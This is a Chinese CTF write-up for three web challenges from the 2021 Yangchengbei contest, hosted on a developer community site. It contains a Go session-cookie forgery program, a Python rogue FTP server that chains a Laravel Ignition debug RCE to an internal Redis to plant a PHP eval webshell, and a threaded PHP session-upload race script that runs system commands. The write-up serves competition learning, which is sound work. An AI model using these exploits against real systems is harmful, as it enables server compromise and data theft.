前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2021羊城杯部分web writeup

2021羊城杯部分web writeup

原创
作者头像
ly0n
修改2021-09-15 17:48:30
9830
修改2021-09-15 17:48:30
举报
文章被收录于专栏:ly0nly0n

Checkin_Go

考察点和2020wmctf gogogo类似

参考链接:https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/#0x05_go_version

随机数种子为1,可以伪造session

题目给了源码 看到存在/game,没有登录直接就去访问了/game

我们需要去购买flag但是没有钱

在cookie中看到了一串base两次解码后

指的地⽅就是chekNowMoney的值,这个值是需要购买flag的钱加密后的值,伪造cookie

代码语言:javascript
复制
// 伪造 cookie
package main
import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "math/rand"
)
func main() {
    r := gin.Default()
    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))
    r.GET("/a",cookieHandler)
    r.Run("0.0.0.0:8002")
}
func cookieHandler(c *gin.Context){
    s := sessions.Default(c)
    s.Set("uname", "admin")
    s.Set("checkNowMoney", "JkeLNs0tAng7rDdgtr1nDQ")
    s.Set("checkPlayerMoney", "JkeLNs0tAng7rDdgtr1nDQ")
    s.Set("nowMoney", 200000)
    s.Set("playerMoney", 200000)
    s.Save()
}
func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}

然后本地搭建服务 访问/a 获取cookie ,替换后就可以购买flag

Cross The Side

考察知识点laravel debug rce

参考链接 https://zhuanlan.zhihu.com/p/351767398

发现没有开放9000端口,6379端口存在一个redis服务

尝试通过使用FTP协议的被动模式去打内网的redis

代码语言:javascript
复制
漏洞利用路径 /_ignition/execute-solution 

修改上面文章中的脚本

代码语言:javascript
复制
# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Axxx%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%2213%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A   ")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 12341
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 2335))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 ip,0,2335\n")  # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,0,6379\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

在bp上发送数据包,将上面的脚本上传到服务器并运行

代码语言:javascript
复制
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSoluti "parameters": { "viewFile": "ftp://vps:12341/", "variableName": "doesnotexist" } }

然后访问shell.php并利用

only4

利用点文件包含 尝试包含session 写脚本尝试,在返回包中搜索Sanfor看到flag

代码语言:javascript
复制
import io
import threading
import requests


thread_list=[]
stop_threads = False
thread_num = 100

def run(s):
    global stop_threads
    while True:
        if stop_threads:
            break
        url='http://192.168.40.215:8000//?gwht=/var/lib/php5/sess_ly0n&ycb=http://baidu.com'
        headers={'Cookie': 'PHPSESSID=ly0n',}
        data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /flag');echo 'abcdefg';?>"}
        files={"file":('abcdefg', 'a'*1)}

        r=s.post(url,headers=headers,data=data,files=files)
        if 'abcdefg' in r.text:
            print(r.text)
            stop_threads = True
            exit(0)
             

if __name__ == '__main__':
    with requests.session() as s:
        while thread_num:
            t = threading.Thread(target=run, args=(s, ))
            thread_num-=1
            t.start()
            thread_list.append(t)
        
        for t in thread_list:
            t.join()

总结

希望自己在以后的比赛中能够更加全面的思考吧,咕了这么多天的wp终于写上了,第二天去耍去了,第二天的网刃杯也没来得及打,也没有复现环境。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Checkin_Go
  • Cross The Side
  • only4
  • 总结
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档